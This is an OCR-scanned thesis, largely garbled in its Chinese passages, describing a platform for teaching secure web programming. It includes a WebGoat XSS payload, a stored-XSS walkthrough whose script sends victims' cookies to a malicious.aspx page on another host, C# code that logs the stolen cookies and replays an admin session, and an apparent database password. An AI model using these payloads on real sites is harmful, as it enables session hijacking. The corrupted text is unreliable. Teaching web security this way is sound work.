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A Bug Tracking Platform for Learning Secure Web Programming

student : Wen-Hao Chang Advisors : Dr.Shin-Kun Huang

Degree Program of Computer Science
National Chiao Tung University

ABSTRACT

In recent years, because of vulnerabilities in the Web Applications, many
major sites suffer from Internet attacks. It is caused by the defects of the web
applications, due to the following reasons: 1) lack of security knowledge; 2) lack
of security awareness; and 3) lack of security technology. Programmers
therefore develop applications.with vulnerabilities, without measurement of
precautions. We try to remedy. these: situations, by assessing a few security
scanning tools and developing.a learning platform to help develop secure Web
applications.

In this thesis, we present an .assessment report with representative security
scanning tools, to aide web application developers in the source code review
process to improve their web system security in cost-effective ways. However,
the reports from the scanning tools are still hard to be comprehensive and need
training for developers to fix the problems. We develop a platform to help
programmers rapidly understand the security issues in the source code (called
Platform for Learning Secure Web Application programming, in short
PL-SWAP). We have improved the learning process, with attack scenarios, so
that the users really achieve the objective of learning after completing the lesson;
In addition, we also designed a Bug Tracking system with the characteristics of
Web2.0. The Function Unit (FU) with vulnerabilities could be deployed on
this platform, and we would achieve the sharing purposes of the bugs and
solutions. In this Bug Tracking system, we can rapidly accumulate web
security lessons.

Keyword : application scanner ~ war game ~ bug tracking ~ web vulnerability
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It is always a good practice to scrub all input, especially those inputs that will later be used
as parameters to OS5 comrnands, scripts, and database queries. It is particularly important
for content that will be permanently stored somewhere in the application. Users should not be
able to create message content that could cause another user to load an undesireable page
or undesireable content when the user's message 15 retneved.

Title: Testl
Message:

fscript> alert('Ha Ha Ha'); </script>|

Message List

ASPEBT)

B 1 : WebGoat- &+ Message mﬂig,] yz ¢ @J » XSS Bl:RFE 2



It is always a good practice to scrub all input, especially those inputs that will fater be used
as paramaters to O commands, scripts, and database queries, It is particulardy important
for content that will be permanently storad somewhere in the application, Users should not be
able to create message content that could cause another user to load an undesireable page
or undesireable content when the user's message 15 retnieved.

Title:
Message:

ASPECT

B frjuden aoint o gar Ty e bl

1 2. WebGoatsH1 N (XSS & 423 57+ &

| Pl =

=i — B

It is always a good practice to scrub all input, especially those inputs that will later be used
as parameters to OS5 commands, scripts, and database queries. It is particularly important
for content that will be permanently stored somewhere in the application. Users should not be
able to create message content that could cause another user to load an undesireable page
or unde=zireable content when the user's mes=zage is retrieved.

* Congratulations. You have successfully completed this lesson.

Title: | |

Message: Windows Internet Explorer |E|

'E Ha Ha Ha
Ll

Message Contents For: Testl
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4.2 PL-SWAP s 33k 3+
4.2.1 Use Case Diagram
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BT omE R APETRF TR e
Lo Rzad#ar » et e B 4laqphl g Im o
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3B AP I HT Lme o HEFHRE AT B AT DA s
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4.2.3 ER Diagram
Ak s G R R A2 TR <0 ER Diagram 0 12 % Entity
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sys_checkPointinfo (sys_clmllengeExmn
PK g_id PK ce_id

o_type I_ —_—— FK ce_cid

g_clazss _|_ _______ FR ce_exid

o_status ce_roleid

o_author FE ce_dserid

o_url —t ce_ok

g_description —| -
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B | .

53"5_‘”"3'3“"0““50“”0“\] sys_checkPointHint [ examCreate
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PK userid
passwd
USErName
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createdate
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-SWAP - Bug Iracking System - Windows Internet Explorer
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@\T/‘ | ] htpwhehing i org drdWebVrlnersbilitySOLabFUList aspx | [#2][x] | (2]

BEO ®EE RO #HEEW IAD HAW

w @ [@PL—SWAP:E@Tmmsmm I_} - B @ - [#ER - GIRO -

Bug Tracking System : View & Download
[1EF18:9567599] @ PL-SWAP > Bug Tracking System > FUList
EHEJHEE 1 {FFunction Unit << [fESE >>

° test.aspx (FifRum) « FURRET #li(zip) 4

Contribute War Game Driver

[Challenges] [HH] B BREES

B 3 @ FEE 1005 -

10 W b 0:00:26.4 /008140

B 9 : Bug Tragking * View & Download 4
.T"‘ |"I i ,

/:‘- PL-SWAP Bug Tracking - Windows Intermet Explorer

G-
S g

#WEE WREE WRO RREW IR0 HAD

12| hitpivhehang itrioxg bW eb VulnerabilitySQL abfuplosd Form.sspx DEREN |[2]-

= :]gpL—SWAPBungkmg x I@PL-SWAP Biug Tracking ] I - B = EER - GTRQ -

-~

PL-SWAP Bug Tracking : Upload
sk Driver5 P LT Web AT — FE I % 2330 Unit Program B E A%
kR Driver [ 778 NET F--GLanguage °
DTS SRR BSR4 80U Progm S R
* ; : NATIONALCHIAOTUND UNIVERS

* 1 {85 % 2 B5EA Unit Program tH BE1EZE 5 s
1 SRR FEEE A BT HE ConnectionString = @ "DATABASE=vul_course;Server=locathosti SQLEXPRESS, 2433, User ID=pubitisuserPassword=8{Qa TPiw"

* &% Unit Programf {52 7 EE R ifDataBasel AN 57 55 =H 78 °
1._E8E%Unit Program=E 9 FH || DataBasef)Create Table {EREREE L T T _E1F)
2._E 88X Unit Program35 22 13| DataBasefIData MEFEELL TXTHE LF-EHIRA T abif73R)

%R Unit Program | AHERREEAIE (4 Y@
D-\WebData\WebVul_Sample\pubinfo\searchPubinfol aspx | |
D:\WebData\WebVul_Sample\pubinfo\searchPubinfol.aspx.cs mﬁj
D:\WebData\WebVul_Sample\pubinfo\searchPubinfo.xsl mﬁj
D:\WebData\WebVul_Sample\App_Code\pubinfo.cs [BE.

AT EEEREDataBaseIHE? 2O O
- {EDataBasefCreate Table 5508 |

|D:\WebDatawvebVul_Sample\doc\pubinfo_DBscript.sql |
b {8DataBasefData M2 (BRI LA T abfisyiR) |
|D:\WEbData\Wequ\_Sample\dnc\pubinfﬂ_DBdata,m | e
T ' ~
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p’,; PL-SWAP - Bug Tracking System - Windows Internet Explorer
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Bug Tracking System : View & Download

[## A& wenhao] @ PL-SWAP > But Tracking System > FUList > FUDetail

JfEFunction Unit HETHA 1| BFERARSE <HERAXST >>

NATIOSAL CHIAOTUNO
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o searchPubinfo.aspx (FfRun) o FURRE T &lizip)
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# PL-SWAP = Flv?’f %\' L War Game Jexd o Ajee 34 2007
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win s (o R 1R (2RI 0 AT o3 g - GLIE S A0 SR Y M - 3 B

>

Al e 353 1) Bkyr & s ¥ (Cross Site Scripting > XSS) ~ 2)iE » 4% 4 (Injection

i v

Flaw) 1 2 3)% % > e 2 4% (Insecure Direct Object Reference)[3] -

/J SRR ?mgj m,KT ggﬂé);?& ﬁ ' Ko é‘ﬂ. ﬁ%lé’-gﬁlr—%‘/ﬁl’f ’”ﬁ—- [E3
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441 Mgt R

A Stored XSS— 2% Z s # 7 R B ® (B 14) & 37 3% 33 2Ll X s ¥ ek
~ Scope » & 4_#- Applicationl = Application2 4. 5 = - i# Application p >
i&{;‘ FEF L2 ¥ 3t Scope o e .7 ¢ Scope 7+ | » Stored XSS
BEbdrt e g 2B AT Y LT FE PN G XSS 55 g

Application - 2 Stored XSS B + 2 &) » 2N Ak Y 4o x TR 14 Y R IR

Scenario o
Stored XSS— & % s £ 3
1. Ii%t‘ﬁ e
X Applicationl Input Form
P ER AN ahEsk
R ALFEIT 2. Applicationl # ¥ *
* s 7"”’”?‘} AR TE, T
F' l
A FH R

b, HITERFHELR o \
\ - - r 1 1 !

3. Application2 & ¥i_
FORLL 3 B T R B
7, TR AT

Vi

3

B 14 : Stored XSS— 2% % s # 71 3, B

442 B+ il BF b)-Stored XSS

LM P 30 - BRgnstm® e 38 4 587 (B 15) -

2. 3 i 4 @) 15 ﬁﬂiﬁf‘iﬁ%] PN ﬁ;—] & FET %%% £ —‘ﬁ Cookie 1% &, 42
7 :<script
src="http://whchang.itis.org.tw/\WebVulnerability/XSS/malicious.aspx?coo
kie='+document.cookie+"'><\/script> [1][9] > } #&Fesifed PZE T &
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EPARS TG O R 25N 1 SR eh TR (1] 16)
3. B rFHEGuzEoscript 7 AE ERHAFLBILIAN AR 'fq‘” » BB
B 1% 3 ik
= eng £ 425% (malicious.aspx ) > ot #2.5¢ A4 % 7| Cookie P& » S TP #-F
FrEa IR ) (B17)-
4, GHAHKEFREREFNATRGE 2% TIR AT (R 18) -
5. B F P HRET T ERP o Aot B F RN B A VPR A
L

i
koo APHEL LT HBH 0 7L F R user 2 admin BRE A TR

L er1Cookie F#-Am i AT > SEBFTE > A

(vw

sl (B 19)-
6. sc# f = 7 P~ admin £ cookie T3t (H 20) -
7. r’z?ifﬂ“ ttafﬁg,?’» admin cookie T {8 X F % & ¥ i% ¢ admin 1 Cookie

(B121)  £3Ey admin e e~ 5k ([ 22) -

Pl R A F - TR T %%E'J ' % XL3p AL A% A admin  cookie

¢ il B Secret Key CAM* 3 erfab F3) *¥

RS R

H L & 7

£ % |kobe | mppEml | ERD | iR

i@ =

R RS B R SRR

No. Publd & fEE antirdp |
1 232 EBIAEEERREE == 2001/02/01
2 631 L g 2000/08/30

SHH BT EPubId | N
LRI TS

] 15 © 3% B ATH i o T TR A B ek
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S o
. T Tape Walker EAE Y BEEATEE

fE R |kobe el R 1 97 {0 EH ] free
|cacript>document .write (*<script ™

i : |arc="htcp://whechang.ictis.org.ocw/WebVulnerabilicy/X55/ mali cious. aspx?
cookie="4+document . cookie+ ">\ facripes ) i</ scripe> wl

&S

o i Rt 2 O SR A R S RHEE -

No. Publd &5 fER kR E EH
1 232 EEREEERAE FiH{FEEEmat A R 2001/02/01
2 631 HEEL 3 = 8iE B 2000/08730

IR 7 BT S TR Publd
SRULE TR TR S 0T

Bl 16 : & Input Form %J 73 BN T

protected void Page_Load{object sender, Eventfrgs )

{
//1ERequest HBTS Cookie B HAVE
string cookie = (Request"cookie"] ==null 7" : Request["cookie"]. ToString());
string fpath = @"D:\upload\malicious txt"
if (! Directory Exists(@"d:\upload")) Directory, CreateDirectory(@"d:\upload" ),
StreamWriter sw = null;
if {1File Exists(fpath)) sw = File,CreateText( fpath);
else sw = Fle AppendText(fpath);
/FREIR SR, FE malicious. t:x:t**%
sw, Writeline( cookie ),
s Flush( ),
s, Close( ),

B 170 33 8 R A2 R4S © 7 345 4c 3 40 Cookie 7 ~ #h %
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RN R R R e

No. Publd . = fEE Gl ig=h ]
i (232 i ' HiTas s FIRE 20010201

BEZE 20000830
kobe 200810709 >

B2 ST TaYPubld
NSRRI Ty o [20min J[used] .
W18: 27 ERANDTH LR ERERY 4B
LT,
P e
SRR R
RS .
E - |kobe | BRREEEEY A0 R free
i B
RS S W AR -
No. Publd &5 {E& AR E HE
1 (232 R R M IC IR I E Rt FEE 2001/02:01
2 631 R (T = B R A TR 2000/08/30
: a4 kobe 2008/07/09
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580 B RIRTATPubId ; 547866622
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&

B 19 : ficke Stored XSS % % —*ﬁ & 4 s
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SQL _auth=user;
SQL_sid=LtQ6NjPhMFbxI1Sx1de9ybCpApzSHRSG8eolmbm3FrM
dnTtl1gnvCTtQM90y23ZKic;

(*** 7th:_GameCheckPoint=http://whchang.itri.org.tw/
WebVulnerability/XSS/Stored XSSTarget.aspx ***)

SOL auth=admin >

SQL _sid=Imbm3FrMdnTtlILtQ6NjPhMFbxI1SxSG8eolqlde9ybCp
ApzM90y23ZKicSHRnVCTtQ;

(*** 7th:_GameCheckPoint=http://whchang.itri.org.t
w/WebVulnerability/XSS/Stored XSSTarget.aspx ***)

Bl 20 : s ¥ < § ¥ 1] Cookie 0¥ "% ) %

public partial class ¥55_StoredxSSAttack © System Web. Ul Page
{

protected void Page_Load{object sender, Eventérgs &)

{

DateTime dt = DateTime, Now;
TimeSpan ts = new TimeSpan(0, 0, 0, 2);

Response.Cookies["SOL_auth']. Yalue = "admin',
Response.Cookies["SOL_auth"] Expires = dt.Add(ts);

Response.Cookies["SOL_sid"] Yalue = "Imbm3FrdnT Lt Q8N PRMFbxSKSGRe01ldedybCplpzMI0y23ZKic SHRnVC T,
Response.Cookies["SOL_sid"] Expires = dt. Add(ts);

Response Redirect{4ppCanfig. DomainUri+"Webyulnerability/%S5/5toredxS5Target, aspe");

W21 : 5o xF 5 ¥ g X ¢ Cookie

(= R - Windows Internet Explorer

SAi M & hitp:iwhehang it org e WebVoluersbilitd S8 Stored K88 Targetaspe. v | | ¥4 | K Folhs
HEE FEE #R0 BEEEW IARD REWH
W | @FmeEE [ -8 ®-[2EEe- GTRO- 7
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protected void Page_Load(object sender, Eventirgs &)

i

DateTime dt = DateTime, MNow
TimesSpan ts = new TimesSpan(0, 0, O, 207;
string setDomain = "itri.org.tw";

Response.Cookies["PHPSESSID" | Walue = "37 dvamhohg98pdg7igvkifogsz",;
Response.Cookies["PHPSESSID" ] Expires = dt.Add(ts);
Response.Cookies["PHPSESSID"].Domain = setDomain;

Response.Cookies["itribbs_itri_org_tw_newbb2_ W' ] Value = "1215623237",
Response.Cookies[ itribbs_itri_org_tw_newbb2_ "] .Expires = dt.Add(ts);
Response.Cookies["itribbs_itri_org_tw_newbb2_[W"].Domain = setDomain;

Response. Cookies["itribbs_itri_org_tw_newbbz_LT"] Walue ="1094|1215623237";
Response.Cookies["itribbs_itri_org_tw_newbb2_ | T"] Expires = dt.Add(ts);

Response.Cookies["itribbs_itri_org_tw_newbb2_LT"]. Domain = setDomain;

Response.Redirect("http. /fitribbs.itri.org.tw" ),
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e~ ¢ PL-SWAP 7 4L & Entity Detail

Entity: sys_challengeExam

Entity details:

Description FHA2RPE Rl Bd X
E:nrg{ar ;)i/ni;erilame PK_sys_challengeExam
Attributes:
Key Attribute name Data type Not null Description
PK ce id INTEGER Yes
FK ce_qgid INTEGER Yes
FK ce_exid INTEGER Yes

ce_roleid INTEGER Yes
FK ce_userid NVARCHAR Yes

ce ok CHAR Yes
Relationships:
Relationship name Type Pare‘nt Child Cardinality
zzz:gﬂzﬁzigggigﬁ— :\(ch(;?]ti fying sys_checkPointInfo| sys_challengeExam f/le(;?eOr
sys_examCreate_ Non . sys_examCreate sys_challengeExam 45010 Qlr
sys_challengeExam || Identifying More
S UEsrlile ol o sys_userinfo sys_challengeExam 45110 Qly
sys_challengeExam || Identifying More

Constraints:

Constraint name Type Level Constraint

Column Not ce ok

Constraint|| Null -

Column Not ce id

Constraint|| Null =

Column Not ce oid

Constraint|| Null -9

Column Not ce exid

Constraint|| Null =

Column Not ce roleid

Constraint|| Null -

Column Not ce userid

Constraint|| Null -
PK_sys_challengeExam Lol : PITEY PRIMARY KEY (ce_id)

-0 Constraint| Key -
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Table Foreian | FOREIGN KEY (ce_gid)
sys_checkPointIinfo_sys_challengeExam . 9" | REFERENCES
Constraint | Key . .
sys_checkPointInfo(g_id)
Table Eoreian FOREIGN KEY (ce_exid)
sys_examCreate sys_challengeExam . 9 REFERENCES
Constraint| Key .
sys_examCreate(ex_id)
Table Foreign FOIRSIEIN X2
sys_userinfo_sys challengeExam . g (ce_userid) REFERENCES
Constraint | Key X
sys_userinfo(userid)
Entity: sys_challengeKey
Entity details:
Description & — B i + = Secret Key
Primary key
constraint name PK_sys_challengeKey
Attributes:
Attribute Not o
Key name Data type null Description
PK | c_id INTEGER || Yes
FK | c_qid INTEGER | Yes #t Secret Key /& kf =+
FHE- B, e pdAd - B
C_secretKey VARCHAR| Yes | Secret Key
Relationships: )
Relationship name Type | Parent Child Cardinality
sys_checkPointInfo_|| Non . Zero Or
sys_challengeKey Identifying sys_checkPointIinfo| sys challengeKey One

Constraints:

Constraint name Type Level Constraint
Sl AL c_secretKe
Constraint | Null - y
Column Not ¢ id
Constraint | Null -
Column Not ¢ aid
Constraint | Null -9
PK_sys_challengeKey Table Primary | oo 1ARY KEY (c_id)
-0 Constraint | Key -
Table Foreign FOREIGN KEY (c_gid)
sys_checkPointInfo_sys challengeKey C . REFERENCES
onstraint | Key : i
sys_checkPointInfo(g_id)

Entity: sys_checkPointHint
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Entity details:

Description & - B+ kT

Prlmar)_/ key PK_sys_checkPointHint

constraint name

Attributes:

Key | Attribute name Data type Not null Description

PK h_id INTEGER Yes

FK h_qid INTEGER Yes st BE T U chRE
h_filename NVARCHAR Yes PURE T g
h_count BIGINT Yes

Relationships:

Relationship name Type Parent Child Cardinality

sys_checkPointInfo_| Non . . .|l Zero Or

sys_checkPointHint | Identifying sys_checkPointInfo| sys_checkPointHint More

Constraints:

Constraint name Type Level Constraint
Column Not h count
Constraint | Null -
Column Not h id
Constraint | Null -
Column | Not h aid
Constraint | Null -9
Column | NOt = i1 name
Constraint| Null -
PK_sys_checkPointHint Table || Primary| po,MARY KEY (h_id)
-7 Constraint | Key -
Table Foreian FOREIGN KEY (h_gid)
sys_checkPointInfo_sys_checkPointHint C . 9" | REFERENCES
onstraint | Key . i
sys_checkPointInfo(g_id)
Entity: sys_checkPointInfo
Entity details:
Description o H e TR
Prlmar)_/ key PK_sys_checkPointinfo
constraint name
Attributes:
Attribute Not —
Key name Data type ull Description
PK | g_id INTEGER Yes
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g_type INTEGER Yes | # i H =~ o7/ OWASP TOP 10 =g
ades | oHAR | v | 0k e 2 E)
g_status CHAR Yes | #ac H A i 0@ Lip+, 22K Y
g_author VARCHAR | Yes | ¢t # i 8 ~i®
g_url VARCHAR | Yes p# o B e URL
g_description | NVARCHAR| Yes
g_createdate | DATETIME | Yes
Relationships:
Relationship name Type Parent Child Cardinality
zzz:gugﬁléiggggﬁ— Il\(glzrr]lti fying sys_checkPointInfo|| sys challengeExam f/le(;?eOr
zﬁ:gﬂzmigﬁgo— :\(Ijzrr]]ti fying sys_checkPointinfo|| sys_challengeKey Zero Or One
zz::gﬂgg::gg:zm ifr(l)t_ Il\(glzrr]lti fying sys_checkPointinfo|| sys_checkPointHint f/le(;?eOr
zﬁjgﬂzgggmsmﬁon :\(Ijzrr]]ti fying sys_checkPointinfo|| sys_checkPointSolution f/le:r)eor
Constraints: .
Constraint name Type Level Constraint
Column Constraint | Not Null g_createdate
Column Constraint | Not Null g_id
Column Constraint | Not Null g_type
Column Constraint | Not Null g_class
Column Constraint | Not Null g_status
Column Constraint | Not Null g_author
Column Constraint | Not Null g_url
Column Constraint | Not Null g_description
PK_sys_checkPointinfo Table Constraint Primary Key | PRIMARY KEY (g_id)

Entity: sys_checkPointSolution

Entity details:

Description FHEEE - B H AR RS &
Primary key PK_sys_checkPointSolution

constraint name

Attributes:

Attribute name

Key

Not null

Data type

Description
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PK || gs_id INTEGER Yes

FK || gs_gid INTEGER Yes PR & (HE ) R AE
gs_author VARCHAR Yes PofRA- R (HaE ) hitg
gs_url VARCHAR Yes P> % (i HE~) 99 URL
gs_description || NVARCHAR || Yes
gs_createdate DATETIME | Yes

Relationships:

Relationship name Type Parent Child Cardinality

Zi::gﬂggtlzgmlsr:;ﬁion Il\élgrrltifying sys_checkPointIinfo| sys checkPointSolution f/le;(r)eor

Constraints:

Constraint name Type Level Constraint

Column

Constraint Not Null | gs_createdate

Column .

Constraint MU e

Column .

Constraint NEUNU o e

S Not Null | gs_author

Constraint 95

Column

Constraint Not Null | gs_url

Column .

Constraint Not Null | gs_description
PK_sys_checkPointSolution| 1201€ Primary | peIMARY KEY (gs_id)

- Constraint Key -
sys_checkPointinfo_ Table Foreign FOREIGN KEY (gs_gid)
sys_checkPointSolution Constraint Ke REFERENCIES
ys_ y sys_checkPointInfo(g_id)
Entity: sys_examCreate
Entity details:
Description + L antmE o
Prlmar;_/ S PK_sys_examCreate
constraint name
Attributes:
Key Attribute name Data type Not null Description
PK ex_id INTEGER Yes
ex_name NVARCHAR Yes L
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ex_createdate DATETIME Yes
Relationships:
Relationship name | Type Parent Child Cardinality
PROECEE, || N e sys_examCreate|| sys_challengeExam 2S00
sys_challengeExam| ldentifying More
Constraints:
Constraint name Type Level Constraint
Column Constraint Not Null ex_createdate
Column Constraint Not Null ex_id
Column Constraint Not Null ex_name
PK_sys_examCreate Table Constraint Primary Key | PRIMARY KEY (ex_id)
Entity: sys_userinfo
Entity details:
Description T oeng B
constrant name | P<-ys-usrinto
Attributes:
Key | Attribute name Data type Not null Description
PK userid NVARCHAR Yes € A HREL
passwd NVARCHAR Yes € R %55
username NVARCHAR Yes € Rt
roleid INTEGER Yes ERTHES
createdate DATETIME Yes
Relationships:
Relationship name || Type Parent Child Cardinality
g::gﬁgz:g;ggExam Non Identifying | sys_userinfo | sys_challengeExam | Zero Or More

Constraints:

Constraint name Type Level Constraint
Column Constraint Not Null createdate
Column Constraint Not Null userid
Column Constraint Not Null passwd
Column Constraint Not Null username
Column Constraint Not Null roleid
PK_sys_userinfo Table Constraint Primary Key PRIMARY KEY (userid)
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